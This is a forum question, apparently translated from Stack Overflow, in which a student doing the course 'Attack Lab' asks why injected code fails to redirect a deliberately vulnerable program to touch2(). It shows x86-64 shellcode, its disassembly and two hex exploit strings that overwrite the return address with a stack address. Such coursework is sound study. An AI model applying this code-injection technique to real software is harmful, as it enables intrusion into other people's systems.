【发布时间】:2020-10-21 20:33:12
【问题描述】:
我有一个缓冲区溢出实验室,我必须为一个名为 The Attack Lab 的项目做。我在实验室的第 2 阶段,我必须注入代码作为我的漏洞利用字符串的一部分,以使程序指向函数 touch2() 的地址。我已经得到了我需要的正确的漏洞利用代码(由 TA 确认):
movq $0x4ed659a2,$rdi
pushq $0x4018c3 //address of touch2
ret
我编译和反汇编了这段代码:
Disassembly of section .text:
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: 68 c3 18 40 00 pushq $0x4018c3
c: c3 retq
我想找到正确的漏洞利用字符串传递给程序? %rsp的地址是0x5560a188。
我的 TA 说 this discussion 的评论是正确的,所以我尝试了这个漏洞字符串
48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
但这是不正确的。它甚至没有到达touch2。
在此之前,我研究过这样的解决方案:
48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00
为
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: c3 retq
遇到了段错误。
我反汇编了 rtarget here。 ctarget 和 rtarget 的行为相同。
谢谢。
【问题讨论】:
-
您是否通过
hex2raw运行漏洞利用字符串? -
是的,我是!我试过
48 c7 c7 a2 59 d6 4e 00 | 68 c3 18 40 00 00 00 00 | c3 00 00 00 00 00 00 00 | 88 a1 60 55 00 00 00 00,但它不起作用。 -
我将该漏洞利用字符串生成为
exploit.txt并像您一样使用该命令,但我失败了。它甚至没有达到touch2。所以我认为我生成它的方式是错误的,来这里寻求帮助T_T -
我不确定我们能否提供帮助,除非您向我们展示
objdump -d ctarget的输出,以便我们查看易受攻击程序的汇编代码。 -
我做到了:touch2。
标签: assembly x86 segmentation-fault memory-address buffer-overflow